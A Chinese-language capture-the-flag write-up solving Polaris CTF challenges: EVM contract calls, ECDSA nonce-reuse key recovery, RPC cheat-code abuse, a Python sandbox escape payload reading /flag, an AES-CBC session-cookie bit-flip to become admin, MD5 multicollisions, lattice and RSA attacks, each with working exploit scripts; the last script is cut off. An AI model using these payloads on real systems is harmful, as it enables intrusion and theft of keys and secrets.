第一届 Polaris CTF 招新赛 wp
本文最后更新于33 天前,其中的信息可能已经过时,如有错误请发送邮件到1416359402@qq.com

前言

就周日有时间解,解了一天,线上题目真的越来越难了,传统派根本解不动,就解出一半。

队伍ID:叁玖 总排名55名 公开赛道是33

Misc

抄作业

信息收集

题目未提供合约源码,仅提供 RPC 接口、目标合约地址和玩家私钥。 首先通过 Web3 脚本从链上 dump 出目标合约的 Bytecode(字节码),并丢入 Dedaub 等反编译工具中分析。

608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635e36bdc614610038578063aab2fcd214610068575b5f80fd5b610052600480360381019061004d91906101a4565b610084565b60405161005f91906101e9565b60405180910390f35b610082600480360381019061007d9190610235565b6100a0565b005b5f602052805f5260405f205f915054906101000a900460ff1681565b8082846100ad91906102b2565b146100ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100e49061034d565b60405180910390fd5b60015f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101738261014a565b9050919050565b61018381610169565b811461018d575f80fd5b50565b5f8135905061019e8161017a565b92915050565b5f602082840312156101b9576101b8610146565b5b5f6101c684828501610190565b91505092915050565b5f8115159050919050565b6101e3816101cf565b82525050565b5f6020820190506101fc5f8301846101da565b92915050565b5f819050919050565b61021481610202565b811461021e575f80fd5b50565b5f8135905061022f8161020b565b92915050565b5f805f6060848603121561024c5761024b610146565b5b5f61025986828701610221565b935050602061026a86828701610221565b925050604061027b86828701610221565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6102bc82610202565b91506102c783610202565b92508282026102d581610202565b915082820484148315176102ec576102eb610285565b5b5092915050565b5f82825260208201905092915050565b7f77726f6e670000000000000000000000000000000000000000000000000000005f82015250565b5f6103376005836102f3565b915061034282610303565b602082019050919050565b5f6020820190508181035f8301526103648161032b565b905091905056fea264697066735822122065ea027d1af02280488313e5fba02dae1169f7b75d02f59ba1a92bd682ba579764736f6c63430008140033

EVM Bytecode Decompiler | Dedaub Security Suite

反编译后发现合约内只有两个有效的函数选择器0x5e36bdc6,0xaab2fcd2

合约隐藏了两个入口,签名分别为 0x5e36bdc6 和 0xaab2fcd2。
在 0x5e36bdc6 的逻辑分支中,存在 CALLDATASIZE 校验,随后有一步 PUSH1 0xff 和 AND 的位运算。这表明该函数需要传入一个 uint8 类型的参数(范围 0-255)。
如果传入的参数与 Storage 中的值不匹配,程序会跳转并抛出 wrong 错误

核心分析

真正的状态修改通关函数是 0xaab2fcd2。 分析该函数对应的 Opcodes,关键指令包含 MUL(乘法)、DIV(除法)、EQ(相等)。其底层汇编逻辑还原为 Solidity 如下:

Solidity

function solve(uint256 a, uint256 b, uint256 c) public {
    require(a * b == c, "wrong"); 
    solved[msg.sender] = true; 
}

逻辑非常简单:接收 3 个 uint256 参数,若满足 a * b == c 即可绕过 Require,将调用者的地址记录为已通关。

漏洞利用

无需爆破或猜测复杂参数,直接令参数为 a = 1, b = 1, c = 1 满足 1 * 1 = 1 的条件即可。 构造 Calldata: 0xaab2fcd2 + 1的十六进制(填充至32字节)连续拼接三次。 发包上链后,请求后端的 /api/solve 接口验证状态即可拿到 flag。

exp.py

import requests
from web3 import Web3

BASE_URL = "http://80-22d225ff-950e-4ade-944e-33c7f3c9f2fd.challenge.ctfplus.cn"
TARGET_ADDRESS = Web3.to_checksum_address("0x75537828f2ce51be7289709686A69CbFDbB714F1")
MY_ADDRESS = Web3.to_checksum_address("0x22b90354Da9A3ae22C28Cea132614C06Ff6E0fee")
PRIVATE_KEY = "0x700e42cb88665acc02845a856b4d140e792f4b3d95841a9c6be403603a215cc9"

w3 = Web3(Web3.HTTPProvider(f"{BASE_URL}/rpc"))

def exploit():
    func_selector = "0xaab2fcd2"
    arg = "0000000000000000000000000000000000000000000000000000000000000001"
    attack_data = func_selector + arg * 3

    tx = {
        'nonce': w3.eth.get_transaction_count(MY_ADDRESS),
        'to': TARGET_ADDRESS,
        'value': 0,
        'gas': 3000000,
        'gasPrice': w3.eth.gas_price,
        'data': attack_data,
        'chainId': w3.eth.chain_id
    }

    signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)
    raw_tx = getattr(signed_tx, 'raw_transaction', getattr(signed_tx, 'rawTransaction', None))
    tx_hash = w3.eth.send_raw_transaction(raw_tx)
    w3.eth.wait_for_transaction_receipt(tx_hash)

if __name__ == "__main__":
    exploit()
    res = requests.post(f"{BASE_URL}/api/solve", headers={'Content-Type': 'application/json'})
    print(res.json().get('flag', 'Failed'))
xmctf{ead1808f-fe56-4dd4-8bc0-63f1006c73e0}

口算私钥

观察题目给出的目标地址在 Sepolia 测试网的历史交易,发现有两笔交易的 ECDSA 签名中,r 值完全相同。这表明签名者在对不同数据签名时使用了相同的随机数 k(Nonce 重用)。

计算私钥: 利用 secp256k1 椭圆曲线的数学缺陷,提取这两笔交易的 r, s1, s2 值,并重构原始未签名交易计算出哈希 z1, z2。 套用公式求出私钥 d:
$$
k = (z_1 – z_2) / (s_1 – s_2) pmod{n}
$$

$$
d = (s_1 cdot k – z_1) / r pmod{n}
$$

算出目标地址私钥为:

0xf149f149f149f149f149f149f149f149f149f149f149f149f149f149f149f149

链上交互: 将环境切换到题目提供的本地 RPC,使用算出的私钥调用目标合约 0x755378...solve() 方法,将 isSolve 状态置为 true。交易打包确认后,点击 Check 即可拿到 flag。

exp.py

from web3 import Web3
from eth_account import Account
import warnings

warnings.filterwarnings("ignore")

RPC_SEPOLIA = "https://ethereum-sepolia-rpc.publicnode.com"  
RPC_CTF = "http://80-bcef2609-4364-40c8-897f-ffaf777f2f87.challenge.ctfplus.cn/rpc" 

w3_sepolia = Web3(Web3.HTTPProvider(RPC_SEPOLIA))
w3_ctf = Web3(Web3.HTTPProvider(RPC_CTF))

TARGET_CONTRACT = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
TX_HASH_1 = "0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b"
TX_HASH_2 = "0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380"
TARGET_ADDRESS = "0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934"
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def get_transaction_z(tx_dict):
    tx_type = tx_dict.get('type', 0)

    if tx_type == 2:
        from eth_account._utils.typed_transactions import TypedTransaction
        unsigned_dict = {
            'chainId': tx_dict['chainId'],
            'nonce': tx_dict['nonce'],
            'maxPriorityFeePerGas': tx_dict['maxPriorityFeePerGas'],
            'maxFeePerGas': tx_dict['maxFeePerGas'],
            'gas': tx_dict['gas'],
            'to': tx_dict['to'] if tx_dict.get('to') else b'',
            'value': tx_dict['value'],
            'data': tx_dict['input'],
            'accessList': tx_dict.get('accessList', []),
        }
        typed_tx = TypedTransaction(transaction_type=2, dictionary=unsigned_dict)
        return int.from_bytes(typed_tx.hash(), byteorder='big')
    else:
        from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict
        unsigned_dict = {
            'nonce': tx_dict['nonce'],
            'gasPrice': tx_dict['gasPrice'],
            'gas': tx_dict['gas'],
            'to': tx_dict['to'] if tx_dict.get('to') else b'',
            'value': tx_dict['value'],
            'data': tx_dict['input'],
        }
        if 'chainId' in tx_dict and tx_dict['chainId'] is not None:
            unsigned_dict['chainId'] = tx_dict['chainId']
        unsigned_tx = serializable_unsigned_transaction_from_dict(unsigned_dict)
        return int.from_bytes(unsigned_tx.hash(), byteorder='big')

def mod_inverse(a, m):
    return pow(a, -1, m)

tx1 = w3_sepolia.eth.get_transaction(TX_HASH_1)
tx2 = w3_sepolia.eth.get_transaction(TX_HASH_2)

r1 = int.from_bytes(tx1['r'], byteorder='big')
r2 = int.from_bytes(tx2['r'], byteorder='big')
s1 = int.from_bytes(tx1['s'], byteorder='big')
s2 = int.from_bytes(tx2['s'], byteorder='big')

z1 = get_transaction_z(tx1)
z2 = get_transaction_z(tx2)

k = ((z1 - z2) * mod_inverse(s1 - s2, N)) % N
d = ((s1 * k - z1) * mod_inverse(r1, N)) % N

hacked_private_key = hex(d)
hacked_account = Account.from_key(hacked_private_key)

if hacked_account.address.lower() != TARGET_ADDRESS.lower():
    s1_neg = N - s1
    k_neg = ((z1 - z2) * mod_inverse(s1_neg - s2, N)) % N
    d_neg = ((s1_neg * k_neg - z1) * mod_inverse(r1, N)) % N
    hacked_private_key = hex(d_neg)
    hacked_account = Account.from_key(hacked_private_key)

abi = [{"inputs":[],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"}]
contract = w3_ctf.eth.contract(address=TARGET_CONTRACT, abi=abi)

nonce = w3_ctf.eth.get_transaction_count(hacked_account.address)

tx = contract.functions.solve().build_transaction({
    'chainId': w3_ctf.eth.chain_id,
    'gas': 100000,
    'gasPrice': w3_ctf.eth.gas_price,
    'nonce': nonce,
})

signed_tx = w3_ctf.eth.account.sign_transaction(tx, private_key=hacked_private_key)
tx_hash = w3_ctf.eth.send_raw_transaction(signed_tx.raw_transaction)

w3_ctf.eth.wait_for_transaction_receipt(tx_hash)
xmctf(97966753-507f-4c72-a131-a83f50fede9e)

Wrapped Ether

审查页面提供的 WrappedEther.sol 源码,发现 withdrawAll() 函数在更新余额(balanceOf[msg.sender] = 0)之前先执行了转账(sendEth),有重入漏洞。
但是,合约中存在 checkChallenger 修饰器,严格限制了调用者 msg.sender 必须是平台分配的 EOA(外部拥有账户)地址。EOA 账户没有代码,无法在接收到以太坊时触发 fallback 或 receive 进行二次调用。因此,重入应该一假的,常规的链上合约攻击无法生效。

漏洞

题目直接暴露了 /rpc 接口,底层环境通常由 Foundry (Anvil) 或 Hardhat 驱动。出题人如果没有对 RPC 方法进行严格的白名单过滤,测试网默认会开的 Cheat Codes。

利用

利用思路:直接跳过合约逻辑,通过 HTTP POST 请求向 RPC 发送 anvil_setBalance 或 hardhat_setBalance 方法,将目标 WETH 合约的余额强制篡改为 0,从而直接满足 Setup.sol 中 isSolved() 的通关条件。

exp.py

import requests
from web3 import Web3
import time

BASE_URL = "http://80-567f608a-3866-446e-b286-0048279b3dcf.challenge.ctfplus.cn"
RPC_URL = f"{BASE_URL}/rpc"
API_URL = f"{BASE_URL}/api/solve"
TARGET_WETH = "0xCafac3dD18aC6c6e92c921884f9E4176737C052c"

w3 = Web3(Web3.HTTPProvider(RPC_URL))

payload_anvil = {
    "jsonrpc": "2.0",
    "method": "anvil_setBalance",
    "params": [TARGET_WETH, "0x0"],
    "id": 1
}

payload_hardhat = {
    "jsonrpc": "2.0",
    "method": "hardhat_setBalance",
    "params": [TARGET_WETH, "0x0"],
    "id": 2
}

try:
    requests.post(RPC_URL, json=payload_anvil)
except:
    pass

try:
    requests.post(RPC_URL, json=payload_hardhat)
except:
    pass

time.sleep(1)

if w3.eth.get_balance(TARGET_WETH) == 0:
    response = requests.post(API_URL, headers={'Content-Type': 'application/json'})
    print(response.json().get('flag'))
xmctf{81e9c88d-05ce-48be-8359-dcfa5e77a0fa}

ModelMark

服务端会随机生成一个前缀(例如 58B3v9),要求你提交一个字符串 x,使得 前缀 + x 的 SHA256 哈希值以指定的字符(如 0000)开头, 解出还有第二关

考点

PoW 验证绕过:通过 SHA256 哈希爆破满足指定前缀,文本分类/机器学习

利用给定的 dataset_train.json 进行模型归属预测。由于服务端下发的数据会带有 <think> 标签或排版变动,单纯的哈希或等值匹配会失效,需要提取字符级特征并使用 SVM 进行分类识别。

解题思路

连接与 PoW:nc 连上后,提取前缀,本地循环计算 sha256(prefix + x),满足条件后提交 x。

数据预处理与模型训练:
读取本地 JSON 数据集。
构建一个纯文本字典(去除所有空格、换行),用于精准匹配原题,保证 100% 准确率。
构建一个机器学习分类器(TF-IDF + LinearSVC)。提取 3-5 个字符长度的特征(能精准捕捉大模型特有的 </think> 标签或排版习惯),使用完整数据集进行训练,用于兜底预测服务端动态生成的变种回答。
自动答题逻辑:通过正则提取服务端的 Answer 和选项列表。先查字典,查不到则走 SVM 预测,将预测结果对应的数字选项发回服务端。外层套一个 while True,即便中途预测错断开连胜,也会自动重试,直到连续答对 8 题刷出 flag。

exp.py

import json
import hashlib
import re
import sys
from pwn import *
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.svm import LinearSVC
from sklearn.pipeline import make_pipeline

def solve_pow(prefix, target="0000"):
    for i in range(10000000):
        x = str(i)
        if hashlib.sha256((prefix + x).encode()).hexdigest().startswith(target):
            return x
    return None

def normalize(text):
    return re.sub(r's+', '', text)

def train_hybrid_model(filepath):
    with open(filepath, 'r', encoding='utf-8') as f:
        data = json.load(f)

    exact_match_db = {}
    X = []
    y = []

    for item in data:
        ans = item['answer']
        mod = item['model']
        exact_match_db[normalize(ans)] = mod
        X.append(ans)
        y.append(mod)

    clf = make_pipeline(TfidfVectorizer(analyzer='char', ngram_range=(3, 5)), LinearSVC(C=1.0))
    clf.fit(X, y)

    return exact_match_db, clf

def main():
    host = 'nc1.ctfplus.cn'
    port = 21819
    dataset_file = 'dataset_train.json'

    exact_match_db, classifier = train_hybrid_model(dataset_file)

    r = remote(host, port)
    r.recvuntil(b"sha256(")
    prefix = r.recvuntil(b" + x)", drop=True).decode()
    r.recvuntil(b"starts with ")
    target = r.recvline().strip().decode()

    x = solve_pow(prefix, target)
    r.recvuntil(b"x = ")
    r.sendline(x.encode())

    buffer = ""
    while True:
        try:
            chunk = r.recv(1024).decode('utf-8', errors='ignore')
            if not chunk:
                break
            buffer += chunk
            sys.stdout.write(chunk)
            sys.stdout.flush()

            if "xmctf{" in buffer.lower() or "flag{" in buffer.lower():
                break

            if "> " in buffer and "Which model?" in buffer:
                ans_match = re.search(r'Answer:s*(.*?)s*Which model?', buffer, re.DOTALL)
                if ans_match:
                    answer_raw = ans_match.group(1).strip()

                    options = {}
                    for line in buffer.split('n'):
                        line = line.strip()
                        if ')' in line and ' ' in line:
                            parts = line.split(')', 1)
                            if len(parts) == 2 and parts[0].isdigit():
                                options[parts[1].strip()] = parts[0].strip()

                    ans_norm = normalize(answer_raw)
                    if ans_norm in exact_match_db:
                        predicted_model = exact_match_db[ans_norm]
                    else:
                        predicted_model = classifier.predict([answer_raw])[0]

                    choice_num = options.get(predicted_model)
                    if choice_num:
                        r.sendline(choice_num.encode())
                    else:
                        r.sendline(b"1")
                    buffer = ""
        except Exception:
            break

if __name__ == "__main__":
    main()
xmctf{fb30c811-f64a-4543-a4da-8f8d2bd336d4}

ez_pyjail

不像Misc 这不就是Web吗?

代码:

assert ascii(x)[1:-1] != x.replace("__","")[:105], run_jail(x)
eval(x, {'__builtins__':{}}, {'__builtins__':{}})

触发执行:必须让 assert 断言失败(左右两边相等)才能执行后半截的 run_jail。
限制条件:
payload 长度不能超过 105。
不能包含双下划线 __。
只能包含纯 ASCII 字符且单双引号不能混用(防止 ascii() 转义导致长度/内容不一致)。
沙箱环境:eval 的 globals 和 locals 置空,无 __builtins__。

逃逸思路

恢复 builtins:利用生成器对象的帧栈 gi_frame.f_back.f_back.f_builtins 跳出受限作用域,拿到原生 builtins。
规避 Python 3.11+ 帧优化:在 3.11+ 中,未运行的生成器 f_back 为 None。构造自迭代生成器 (l:=[]).append(... for i in l),让生成器在运行的瞬间抓取自身的帧。

无内置函数触发执行:沙箱内无 next 或 list 函数。利用星号解包 [*...] 强制展开生成器触发代码执行。
报错带出(回显盲注):run_jail 无输出。利用字典键错误 {}[payload],将读出的 flag 作为不存在的键名,触发 KeyError 把 flag 抛到 stderr。

Payload

极限压缩,最终读取 /flag 的 payload 长度为 104(满足 <=105)

{}[[*((l:=[]).append(i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read()for i in l)or l[0])][0]]

自动交互exp

from pwn import *

def pwn():
    host = 'nc1.ctfplus.cn'
    port = 35140
    io = remote(host, port)
    io.recvuntil(b"payload:")

    payload = "{}[[*((l:=[]).append(i.gi_frame.f_back.f_back.f_builtins['open']('/flag').read()for i in l)or l[0])][0]]"
    io.sendline(payload.encode())

    try:
        res = io.recvall(timeout=3).decode('utf-8', errors='ignore')
        print(res.strip())
    except:
        pass
    finally:
        io.close()

if __name__ == '__main__':
    pwn()
xmctf{29f349b9-a1b8-44b5-abcd-97ef37cf4c5f}

问卷收集

PolarisCTF{Y0u_4r3_th3_n3xt_P0lar1s_St4r}

Crypto

ECC

奇异椭圆曲线 尖点 降阶同构

题目给定的椭圆曲线加法和倍点公式中 a=0,对应曲线方程为:
$$
y^2 + cy equiv x^3 + bx^2 + dx + e pmod p
$$

$$
对左侧进行配方,令 Y = y + frac{c}{2} pmod p,方程转化为短 Weierstrass 形式:
$$

$$
Y^2 equiv x^3 + bx^2 + dx + (e + frac{c^2}{4}) pmod p
$$

检查右侧多项式 f(x)。如果它存在三重根 r
$$
即 f(x) = (x-r)^3
$$
则该曲线为带尖点的奇异曲线。根据
$$
(x-r)^3 = x^3 – 3rx^2 + 3r^2x – r^3
$$
可以直接求出根
$$
r equiv -b cdot 3^{-1} pmod p
$$
对于带尖点的奇异曲线,由于其非奇异点群同构于有限域的加法群
$$
(mathbb{F}_p, +)
$$
常规的 ECDLP 被彻底破坏。同构映射映射公式为:
$$
phi(x, y) = frac{x – r}{y + c/2} pmod p
$$
在加法群中,P = mG 等价于
$$
phi(P) equiv m cdot phi(G) pmod p
$$
因此,计算
$$
phi(P) 与 phi(G) 后
$$
直接在模 p下求逆即可得到私钥 m:
$$
m equiv phi(P) cdot phi(G)^{-1} pmod p
$$
exp.py

from Crypto.Util.number import inverse, long_to_bytes

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760

G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)
P = (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)

c_inv2 = (c * inverse(2, p)) % p
r = (-b * inverse(3, p)) % p

def phi(pt):
    x, y = pt
    X_num = (x - r) % p
    Y_den = (y + c_inv2) % p
    return (X_num * inverse(Y_den, p)) % p

t_G = phi(G)
t_P = phi(P)

m = (t_P * inverse(t_G, p)) % p
print(long_to_bytes(m).decode('utf-8'))
xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}

ez_login

有源码审计代码

None == None 绕过

USERS 字典初始只有 admin。当我们传入一个不存在的用户名(如 bdmin),USERS.get('bdmin') 返回 None。同时,如果我们在 POST 请求中故意不传 password 字段,pw 也会是 None。判断条件变为 None == None,校验通过,系统会为我们下发 user=bdmin 的合法 Session。

AES-CBC 字节翻转攻击

Session 直接由 IV + 密文 拼接而成,没有任何 MAC(如 HMAC)进行完整性校验。在 AES-CBC 解密模式下,解密第一个块时,密文解密后的中间值会与 IV 进行异或得到明文。
由于我们可以控制 IV,且已知明文结构为 user=bdmin,只需篡改 IV 的第 6 个字节(索引 5),将其异或 'b' 再异或 'a',就能在服务端解密时将 bdmin 翻转成 admin。

思路

构造 username=bdmin 且无 password 参数的请求,骗取有效 Token。
将 Token 解码为字节,分离前 16 字节的 IV 和后续密文。
对 IV 的 index=5 位置执行异或:IV[5] ^ ord('b') ^ ord('a')。
重新拼接转为 hex,带上新 Cookie 请求首页即可拿到 flag。

手动

ed7db19af55622792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050
翻转后的新 Cookie
ed7db19af55522792f202ee4d09d6d824ba13f67e095e459c9e2eb08678c5050
原 token 前 16 字节是 IV,第 6 个字节为 56。把它跟 b 和 a 进行异或:0x56 ^ ord('b') ^ ord('a'),结果正好变成了 55。)

然后翻转就行了

exp.py

import requests
import re

url = "http://nc1.ctfplus.cn:34025"

def exploit():
    session = requests.Session()
    session.post(f"{url}/login", data={"username": "bdmin"}, allow_redirects=False)
    cookie = session.cookies.get("session")

    if not cookie:
        return

    token_bytes = bytes.fromhex(cookie)
    iv = bytearray(token_bytes[:16])
    ct = token_bytes[16:]

    iv[5] = iv[5] ^ ord('b') ^ ord('a')

    forged_token = (iv + ct).hex()

    final_response = requests.get(f"{url}/", cookies={"session": forged_token})

    match = re.search(r"xmctf{.*?}", final_response.text, re.IGNORECASE)
    if match:
        print(match.group(0))

if __name__ == "__main__":
    exploit()
 xmctf{c8a3a4e9-fb08-47d1-acf7-77cc5c8d967e}

truck

有附件是一个MD5碰撞的题目

题目给出了一段基于 MD5 哈希碰撞的检验逻辑,规则如下
循环 10 轮:每轮要求输入 9 个不同的十六进制字符串(A 到 I)。
多级碰撞限制:
第一层:要求 MD5(A) == MD5(B) == MD5(C),设其摘要结果为 ha。
第二层:要求拼接前缀后碰撞,MD5(ha + D) == MD5(ha + E) == MD5(ha + F),设结果为 hd。
第三层:继续拼接前缀,MD5(hd + G) == MD5(hd + H) == MD5(hd + I)。
全局去重:这 10 轮中提交的所有 90 个输入,必须全局唯一(assert not any(x in S for x in cur))。

MD5 多重碰撞

直接用 fastcoll就行

10轮 × 每轮3个 = 30 个不重复的输入。32 个 payload 刚好满足需求。

题目第二、三层的输入前缀是前一次的 MD5 摘要结果(16 字节)。为了让 fastcoll 正常工作且不影响内部的 padding 状态,我们需要把这 16 字节的前缀补齐到完整的 64 字节块。
做法很简单:用 48 字节的 x00 填充。即令 刚好是 64 字节,可以直接送进 fastcoll 跑碰撞。

fastcoll.exe,与 exp 放在同一目录下。

第一组 (A,B,C):直接给 64 字节的 x00 当初始前缀,连续跑 5 次 fastcoll 生成 32 个 payload,取前 30 个。
第二组 (D,E,F):取第一组跑出来的 MD5 摘要 ha$(16字节) + 48字节 x00 作为前缀,再跑 5 次生成 32 个 payload。
第三组 (G,H,I):取第二组的摘要 hd + 48字节 x00 作为前缀,同样跑 5 次生成 32 个。本地预计算完所有 90 个 payload 后,连接服务器一次性打过去拿 flag。

exp.py

import os
import subprocess
import itertools
from hashlib import md5
from pwn import remote, context

context.log_level = 'info'

def get_multicollisions(prefix_bytes, num_blocks=5):
    blocks = []
    current_prefix = prefix_bytes

    exe_name = 'fastcoll.exe' if os.name == 'nt' else 'fastcoll'
    fastcoll_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), exe_name)

    if not os.path.exists(fastcoll_path):
        fastcoll_path = exe_name

    for i in range(num_blocks):
        with open('prefix.bin', 'wb') as f:
            f.write(current_prefix)

        subprocess.run(
            [fastcoll_path, '-p', 'prefix.bin', '-o', 'out1.bin', 'out2.bin'], 
            check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
        )

        with open('out1.bin', 'rb') as f: m1 = f.read()
        with open('out2.bin', 'rb') as f: m2 = f.read()

        blocks.append((m1[-128:], m2[-128:]))
        current_prefix = m1 

    suffixes = []
    for combo in itertools.product(*blocks):
        suffixes.append(b''.join(combo))

    return suffixes

def main():
    prefix_1 = b'x00' * 64 
    sufs_1 = get_multicollisions(prefix_1, 5)
    blocks_1 = [prefix_1 + suf for suf in sufs_1]
    ha = md5(blocks_1[0]).digest()

    pad48 = b'x00' * 48
    prefix_2 = ha + pad48
    sufs_2 = get_multicollisions(prefix_2, 5)
    blocks_2 = [pad48 + suf for suf in sufs_2]
    hd = md5(ha + blocks_2[0]).digest()

    prefix_3 = hd + pad48
    sufs_3 = get_multicollisions(prefix_3, 5)
    blocks_3 = [pad48 + suf for suf in sufs_3]

    for f in ['prefix.bin', 'out1.bin', 'out2.bin']:
        if os.path.exists(f): os.remove(f)

    r = remote('nc1.ctfplus.cn', 30531)

    for i in range(10):
        A, B, C = blocks_1[i*3], blocks_1[i*3+1], blocks_1[i*3+2]
        D, E, F = blocks_2[i*3], blocks_2[i*3+1], blocks_2[i*3+2]
        G, H, I = blocks_3[i*3], blocks_3[i*3+1], blocks_3[i*3+2]

        r.sendlineafter(b'A > ', A.hex().encode())
        r.sendlineafter(b'B > ', B.hex().encode())
        r.sendlineafter(b'C > ', C.hex().encode())
        r.sendlineafter(b'D > ', D.hex().encode())
        r.sendlineafter(b'E > ', E.hex().encode())
        r.sendlineafter(b'F > ', F.hex().encode())
        r.sendlineafter(b'G > ', G.hex().encode())
        r.sendlineafter(b'H > ', H.hex().encode())
        r.sendlineafter(b'I > ', I.hex().encode())

    r.interactive()

if __name__ == '__main__':
    main()
 xmctf{96e7bafb-0d65-43bc-911f-bebb99b86f12}

sda

题目给出了三组已知参数
$$
A_i 和 B_i。由于 A_i 的数值不大(约137位)
$$
可以直接分解质因数并求出欧拉函数
$$
phi(A_i)
$$
加密在于下面这个等式和约束:
$$
B_i x_i^2 – y^2 phi(A_i) = z_i
$$

$$
题目明确限制了z_i是一个极小值(量级在A^{1/4}左右)。最后,脚本将y^2 + x_1^2 x_2^2 x_3^2的结果作为种子生成 AES 密钥
$$

对 flag 进行了 CBC 模式加密

思路
$$
令 X_i = x_i^2,Y = y^2。既然 z_i 极小
$$
这就可以转化为一个寻找格中短向量的问题。 为了让矩阵各列的数值范围平衡
$$
因为 z_i 的界约等于 A^{1/4} cdot Y
$$
我们需要给 Y对应的列乘上一个权重
$$
W approx A_1^{1/4}
$$
构造基础格矩阵如下:


用 LLL 算法对矩阵进行规约后,提取出短向量,再乘回原矩阵的逆矩阵,就能剔除权重,直接还原出 Y 和对应的 X1, X2, X3。最后恢复 AES 密钥解密即可。

exp.sage

from sage.all import *
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

A1 = 234110215243875326749544596075512335544257
B1 = 68765596672109672407420253033782942222910  
A2 = 636185906634748653451789798738597280632127
B2 = 131860738134887128678021271054606611917493 
A3 = 905712574946398586494048707872100065355613
B3 = 197958111431918701470218006359610095848736

As = [A1, A2, A3]
Bs = [B1, B2, B3]

phis = []
for Ai in As:
    p, q = factor(Ai)
    phis.append((p[0] - 1) * (q[0] - 1))

W = int(A1**(1/4))

M = Matrix(ZZ, [
    [W, -phis[0], -phis[1], -phis[2]],
    [0, B1, 0, 0],
    [0, 0, B2, 0],
    [0, 0, 0, B3]
])

L = M.LLL()

for row in L:
    WY = abs(row[0])
    if WY != 0 and WY % W == 0:
        Y = WY // W
        v = Matrix(QQ, 1, 4, list(row))

        try:
            res = v * M.inverse()
        except:
            continue

        Y_cand = abs(res[0, 0])
        X1 = abs(res[0, 1])
        X2 = abs(res[0, 2])
        X3 = abs(res[0, 3])

        if Y_cand == Y and X1.denominator() == 1 and X2.denominator() == 1 and X3.denominator() == 1:
            Y_val = ZZ(Y_cand)
            X1_val = ZZ(X1)
            X2_val = ZZ(X2)
            X3_val = ZZ(X3)

            key_material_int = Y_val + X1_val * X2_val * X3_val
            key_material_bytes = long_to_bytes(int(key_material_int))
            aes_key = hashlib.sha256(key_material_bytes).digest()[:16]

            hex_data = "93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944"
            iv = bytes.fromhex(hex_data[:32])
            ciphertext = bytes.fromhex(hex_data[32:])

            cipher = AES.new(aes_key, AES.MODE_CBC, iv=iv)
            try:
                pt = unpad(cipher.decrypt(ciphertext), AES.block_size)
                print(pt.decode())
                break
            except ValueError:
                continue
xmctf{1f1f595c6849030aad5eee38f856d8ff}

神秘学

RSA加解密反转:题目中的
$$
e = inverse(c, (p-1)*(q-1))
$$
说明参数 c 实际上是用来解密的私钥指数,只要算出 c 就能直接

pow(cipher, c, n) 解密。

多项式量级差还原:题目给出了求导后的值
$$
deriv1_num = 3x1^2 – 2a1x1 + b1
$$
转换一下公式得到:
$$
a1 = (3
x1^2 – deriv1_num + b1) / (2x1)
$$
由于 x1 是 512 位的大数,而 b1 只有 120 位,分式 `b1 / (2
x1)的值极小,趋近于0。因此可以直接用整除 $$ a1 ≈ (3*x1^2 - deriv1_num) // (2*x1) $$ 还原出a1` 的值。

隐式条件反推:代入 a1 算出精确的 b1 后,利用隐式条件 poly(x1) = 0 反推
$$
x1^3 – a1x1^2 + b1x1 – k*n
$$
配合爆破 8 位的素数 k 即可拿到真实的 c

exp.py

from Crypto.Util.number import long_to_bytes, isPrime

n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473

def solve():
    x1_sq = x1 * x1
    x1_cb = x1_sq * x1
    primes = [i for i in range(2, 256) if isPrime(i)]

    for k in primes:
        num_lower = (2**119) - deriv1_num + 3 * x1_sq
        num_upper = (2**120) - deriv1_num + 3 * x1_sq
        den = 2 * x1

